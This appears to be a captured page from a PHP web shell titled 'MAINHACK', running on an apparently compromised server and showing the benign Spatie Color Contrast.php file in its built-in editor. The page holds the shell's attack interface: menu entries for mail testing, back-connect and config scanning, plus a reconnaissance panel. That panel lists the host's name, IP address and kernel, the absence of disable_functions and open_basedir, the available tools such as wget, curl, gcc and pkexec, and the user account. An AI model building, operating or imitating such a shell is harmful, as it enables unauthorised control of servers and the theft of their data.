[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Contrast.php
<?php namespace Spatie\Color; class Contrast { public static function ratio(Color $a, Color $b): float { $a = $a instanceof Hex ? $a : $a->toHex(); $b = $b instanceof Hex ? $b : $b->toHex(); $l1 = self::calculateLuminance($a); $l2 = self::calculateLuminance($b); return round( ($l1 > $l2) ? ($l1 + 0.05) / ($l2 + 0.05) : ($l2 + 0.05) / ($l1 + 0.05), 2 ); } public static function calculateLuminance(Hex $color): float { return 0.2126 * pow(hexdec($color->red()) / 255, 2.2) + 0.7152 * pow(hexdec($color->green()) / 255, 2.2) + 0.0722 * pow(hexdec($color->blue()) / 255, 2.2); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002